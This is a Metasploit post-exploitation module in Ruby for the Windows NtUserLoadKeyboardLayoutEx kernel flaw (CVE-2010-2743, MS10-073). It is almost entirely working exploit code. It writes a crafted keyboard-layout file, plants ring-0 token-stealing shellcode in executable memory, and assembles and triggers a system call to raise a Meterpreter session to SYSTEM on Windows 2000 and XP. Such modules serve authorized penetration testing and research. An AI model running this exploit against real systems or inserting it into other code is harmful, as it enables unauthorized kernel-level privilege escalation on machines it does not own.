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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasm'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::Windows::Version
10

11
  def initialize(info = {})
12
    super(
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      update_info(
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        info,
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        'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',
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        'Description' => %q{
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          This module exploits the keyboard layout vulnerability exploited by Stuxnet. When
18
          processing specially crafted keyboard layout files (DLLs), the Windows kernel fails
19
          to validate that an array index is within the bounds of the array. By loading
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          a specially crafted keyboard layout, an attacker can execute code in Ring 0.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Ruben Santamarta', # First public exploit
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          'jduck' # Metasploit module
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        ],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'References' => [
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          [ 'OSVDB', '68552' ],
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          [ 'CVE', '2010-2743' ],
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          [ 'MSB', 'MS10-073' ],
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          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
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          [ 'EDB', '15985' ]
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        ],
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        'DisclosureDate' => '2010-10-12',
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_write
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              stdapi_fs_delete_file
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              stdapi_railgun_api
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              stdapi_railgun_memwrite
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              stdapi_sys_config_getenv
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              stdapi_sys_process_getpid
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            ]
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          }
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        }
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      )
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    )
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  end
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56
  def run
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    mem_base = nil
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    dllpath = nil
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    hDll = false
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    version = get_version_info
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    unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
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      print_error("#{version.product_name} is not vulnerable.")
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      return
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    end
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    unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)
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      print_error("#{version.product_name} is vulnerable, but not supported by this module.")
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      return
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    end
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    # syscalls from http://j00ru.vexillium.org/win32k_syscalls/
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    if version.build_number == Msf::WindowsVersion::Win2000
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      system_pid = 8
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      pid_off = 0x9c
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      flink_off = 0xa0
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      token_off = 0x12c
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      addr = 0x41424344
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      syscall_stub = <<~EOS
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        mov eax, 0x000011b6
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        lea edx, [esp+4]
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        int 0x2e
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        ret 0x1c
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      EOS
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    else # XP
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      system_pid = 4
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      pid_off = 0x84
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      flink_off = 0x88
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      token_off = 0xc8
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      addr = 0x60636261
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      syscall_stub = <<~EOS
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        mov eax, 0x000011c6
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        mov edx, 0x7ffe0300
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        call [edx]
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        ret 0x1c
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      EOS
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    end
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    ring0_code =
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      # "\xcc" +
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      # save registers -- necessary for successful recovery
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      "\x60" +
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      # get EPROCESS from ETHREAD
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      "\x64\xa1\x24\x01\x00\x00" \
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      "\x8b\x70\x44" +
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      # init PID search
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      "\x89\xf0" \
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      "\xbb" + 'FFFF' \
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      "\xb9" + 'PPPP' +
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      # look for the system pid EPROCESS
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      "\xba" + 'SSSS' \
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      "\x8b\x04\x18" \
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      "\x29\xd8" \
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      "\x39\x14\x08" \
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      "\x75\xf6" +
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      # save the system token addr in edi
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      "\xbb" + 'TTTT' \
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      "\x8b\x3c\x18" \
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      "\x83\xe7\xf8" +
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      # re-init the various offsets
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      "\x89\xf0" \
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      "\xbb" + 'FFFF' \
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      "\xb9" + 'PPPP' +
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      # find the target pid token
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      "\xba" + 'TPTP' \
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      "\x8b\x04\x18" \
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      "\x29\xd8" \
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      "\x39\x14\x08" \
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      "\x75\xf6" +
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      # set the target pid's token to the system token
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      "\xbb" + 'TTTT' \
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      "\x89\x3c\x18" +
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      # restore start context
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      "\x61" +
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      # recover in ring0, return to caller
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      "\xc2\x0c\00"
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    dll_data =
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" \
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      "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
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      "\x00\x00\x00\x00\x00\x00"
175

176
    pid = session.sys.process.getpid
177
    print_status('Attempting to elevate PID 0x%x' % pid)
178

179
    # Prepare the shellcode (replace platform specific stuff, and pid)
180
    ring0_code.gsub!('FFFF', [flink_off].pack('V'))
181
    ring0_code.gsub!('PPPP', [pid_off].pack('V'))
182
    ring0_code.gsub!('SSSS', [system_pid].pack('V'))
183
    ring0_code.gsub!('TTTT', [token_off].pack('V'))
184
    ring0_code.gsub!('TPTP', [pid].pack('V'))
185

186
    # Create the malicious Keyboard Layout file...
187
    tmpdir = session.sys.config.getenv('TEMP')
188
    fname = 'p0wns.boom'
189
    dllpath = "#{tmpdir}\\#{fname}"
190
    fd = session.fs.file.new(dllpath, 'wb')
191
    fd.write(dll_data)
192
    fd.close
193

194
    # Can't use this atm, no handle access via stdapi :(
195
    # dll_fd = session.fs.file.new(dllpath, 'rb')
196
    # Instead, we'll use railgun to re-open the file
197
    ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
198
    print_status(ret.inspect)
199
    if ret['return'] < 1
200
      print_error("Unable to open #{dllpath}")
201
      return
202
    end
203
    hDll = ret['return']
204
    print_status("Wrote malicious keyboard layout to #{dllpath} ..")
205

206
    # Allocate some RWX virtual memory for our use..
207
    mem_base = addr & 0xffff0000
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    mem_size = (addr & 0xffff) + 0x1000
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    mem_size += (0x1000 - (mem_size % 0x1000))
210
    mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
211
    if (mem['return'] != mem_base)
212
      print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)
213
      return
214
    end
215
    print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))
216

217
    # Initialize the buffer to contain NO-OPs
218
    nops = "\x90" * mem_size
219
    ret = session.railgun.memwrite(mem_base, nops, nops.length)
220
    if !ret
221
      print_error('Unable to fill memory with NO-OPs')
222
      return
223
    end
224

225
    # Copy the shellcode to the desired place
226
    ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
227
    if !ret
228
      print_error('Unable to copy ring0 payload')
229
      return
230
    end
231

232
    # InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
233
    pKLID = mem_base
234
    pStr = pKLID + (2 + 2 + 4)
235
    kbd_name = 'pwn3d.dll'
236
    uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
237
    ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
238
    if !ret
239
      print_error('Unable to copy unicode string data')
240
      return
241
    end
242
    unicode_str = [
243
      kbd_name.length * 2,
244
      uni_name.length,
245
      pStr
246
    ].pack('vvV')
247
    ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
248
    if !ret
249
      print_error('Unable to copy UNICODE_STRING structure')
250
      return
251
    end
252
    print_status('Initialized RWX buffer ...')
253

254
    # Get the current Keyboard Layout
255
    ret = session.railgun.user32.GetKeyboardLayout(0)
256
    if ret['return'] < 1
257
      print_error('Unable to GetKeyboardLayout')
258
      return
259
    end
260
    hKL = ret['return']
261
    print_status('Current Keyboard Layout: 0x%x' % hKL)
262

263
# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(
264
#  IN HANDLE Handle,
265
#  IN DWORD offTable,
266
#  IN PUNICODE_STRING puszKeyboardName,
267
#  IN HKL hKL,
268
#  IN PUNICODE_STRING puszKLID,
269
#  IN DWORD dwKLID,
270
#  IN UINT Flags
271
# )
272

273
# Again, railgun/meterpreter doesn't implement calling a non-dll function, so
274
# I tried to hack up this call to KiFastSystemCall, but that didn't work either...
275
=begin
276
    session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',
277
      [
278
        [ 'DWORD', 'syscall', 'in' ],
279
        [ 'DWORD', 'handle', 'in' ],
280
        [ 'DWORD', 'offTable', 'in' ],
281
        [ 'PBLOB', 'pKbdName', 'in' ],
282
        [ 'DWORD', 'hKL', 'in' ],
283
        [ 'PBLOB', 'pKLID', 'in' ],
284
        [ 'DWORD', 'dwKLID', 'in' ],
285
        [ 'DWORD', 'Flags', 'in' ]
286
      ])
287
    ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101)
288
    print_status(ret.inspect)
289
=end
290

291
    # Instead, we'll craft a machine code blob to setup the stack and perform
292
    # the system call..
293
    asm = <<~EOS
294
      pop esi
295
      push 0x101
296
      push 0x666
297
      push #{'0x%x' % pKLID}
298
      push #{'0x%x' % hKL}
299
      push 0
300
      push 0x1ae0160
301
      push #{'0x%x' % hDll}
302
      push esi
303
      #{syscall_stub}
304
    EOS
305
    # print_status("\n" + asm)
306
    bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
307
    # print_status("\n" + Rex::Text.to_hex_dump(bytes))
308

309
    # Copy this new system call wrapper function into our RWX memory
310
    func_ptr = mem_base + 0x1000
311
    ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
312
    if !ret
313
      print_error('Unable to copy system call stub')
314
      return
315
    end
316
    print_status('Patched in syscall wrapper @ 0x%x' % func_ptr)
317

318
    # GO GO GO
319
    ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)
320
    if ret['return'] < 1
321
      print_error('Unable to CreateThread')
322
      return
323
    end
324
    hthread = ret['return']
325

326
    # Resume the thread to actually have the syscall happen
327
    ret = client.railgun.kernel32.ResumeThread(hthread)
328
    if ret['return'] < 1
329
      print_error('Unable to ResumeThread')
330
      return
331
    end
332
    print_good('Successfully executed syscall wrapper!')
333

334
    # Now, send some input to cause ring0 payload execution...
335
    print_status('Attempting to cause the ring0 payload to execute...')
336
    vInput = [
337
      1, # INPUT_KEYBOARD - input type
338
      # KEYBDINPUT struct
339
      0x0,  # wVk
340
      0x0,  # wScan
341
      0x0,  # dwFlags
342
      0x0,  # time
343
      0x0,  # dwExtraInfo
344
      0x0,  # pad 1
345
      0x0   # pad 2
346
    ].pack('VvvVVVVV')
347
    ret = session.railgun.user32.SendInput(1, vInput, vInput.length)
348
    print_status('SendInput: ' + ret.inspect)
349
  ensure
350
    # Clean up
351
    if mem_base
352
      ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
353
      if !(ret['return'])
354
        print_error('Unable to free memory @ 0x%x' % mem_base)
355
      end
356
    end
357

358
    # dll_fd.close
359
    if hDll
360
      ret = session.railgun.kernel32.CloseHandle(hDll)
361
      if !(ret['return'])
362
        print_error('Unable to CloseHandle')
363
      end
364
    end
365

366
    session.fs.file.rm(dllpath) if dllpath
367
  end
368

369
end
370

371